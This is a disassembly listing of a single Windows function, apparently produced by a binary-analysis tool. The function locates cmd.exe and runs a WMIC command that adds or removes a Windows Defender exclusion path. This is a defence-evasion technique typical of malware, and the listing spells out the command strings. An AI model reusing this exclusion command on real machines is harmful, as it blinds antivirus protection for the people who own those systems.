Function at 0x40f76e
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0xc], 0
call fcn.0047dac0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.0047df30
sub esp, 8
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x58], 0
call fcn.0047db20
call fcn.0047db20
call fcn.0047db70
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], edx
call fcn.0047c1b0
sub esp, 0xc
call fcn.0047dde0
call fcn.0047dc20
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0x6c1db0
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.0047de10
test eax, eax
je 0x40f851
call fcn.0047db20
call fcn.0047db20
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0047bca0
sub esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x1c], eax
call fcn.0047db70
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0047c230
sub esp, 0xc
call fcn.0047db70
mov dword [esp + 4], eax
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.0047dd50
sub esp, 8
jmp 0x40f852
nop
call fcn.00465719
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x63
jle 0x40fb11
call fcn.0047db20
call fcn.0047db20
call fcn.0047db70
mov dword [esp + 4], eax
mov dword [esp], 0x3e8
call fcn.0047bc50
sub esp, 8
call fcn.0047db70
mov dword [esp + 4], eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call fcn.0047dd50
sub esp, 8
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], eax
mov edx, str.WINDIR
mov dword [esp + 8], 0x3e8
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetEnvironmentVariableW
sub esp, 0xc
mov dword [ebp - 0x28], eax
call fcn.0047db20
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.0047dcf0
sub esp, 4
mov dword [esp], str.System32
call fcn.0047dcf0
sub esp, 4
call fcn.0047db70
mov dword [esp + 4], eax
lea eax, [ebp - 0x54]
mov dword [esp], eax
call fcn.0047dd50
sub esp, 8
call fcn.0047db20
call fcn.0047db20
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.0047dcf0
sub esp, 4
mov dword [esp], str.Sysnativecmd.exe
call fcn.0047dcf0
sub esp, 4
call fcn.0047dc70
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.0046745b
sub esp, 4
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
call fcn.0047dbd0
mov edx, 0
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jge 0x40f993
call fcn.0047db20
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.0047dcf0
sub esp, 4
mov dword [esp], str.Sysnative
call fcn.0047dcf0
sub esp, 4
call fcn.0047db70
mov dword [esp + 4], eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call fcn.0047dd50
sub esp, 8
jmp 0x40f9cd
nop
call fcn.0047db20
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.0047dcf0
sub esp, 4
mov dword [esp], str.System32
call fcn.0047dcf0
sub esp, 4
call fcn.0047db70
mov dword [esp + 4], eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call fcn.0047dd50
sub esp, 8
cmp dword [ebp + 0xc], 0
jle 0x40fa75
call fcn.0047db20
call fcn.0047db20
mov dword [esp], str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
call fcn.0047dcf0
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0047dcf0
sub esp, 4
mov dword [esp], 0x6c0b44
call fcn.0047dcf0
sub esp, 4
call fcn.0047dde0
call fcn.0047db20
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.0047dcf0
sub esp, 4
mov dword [esp], str.cmd.exe
call fcn.0047dcf0
sub esp, 4
call fcn.0047dc70
mov dword [ebp - 0x3c], eax
call fcn.0047dc70
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x54]
mov dword [esp + 0xc], 3
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.0045bc83
sub esp, 0x10
mov dword [ebp - 0x44], eax
call fcn.0047dbd0
jmp 0x40fb12
nop
call fcn.0047db20
call fcn.0047db20
mov dword [esp], str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
call fcn.0047dcf0
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0047dcf0
sub esp, 4
mov dword [esp], 0x6c0b44
call fcn.0047dcf0
sub esp, 4
call fcn.0047dde0
call fcn.0047db20
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.0047dcf0
sub esp, 4
mov dword [esp], str.cmd.exe
call fcn.0047dcf0
sub esp, 4
call fcn.0047dc70
mov dword [ebp - 0x48], eax
call fcn.0047dc70
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x54]
mov dword [esp + 0xc], 3
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call fcn.0045bc83
sub esp, 0x10
mov dword [ebp - 0x50], eax
call fcn.0047dbd0
jmp 0x40fb12
nop
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call fcn.0047de50
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call fcn.0047de50
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0047de50
sub esp, 4
mov eax, dword [ebp - 0xc]
leave
ret 8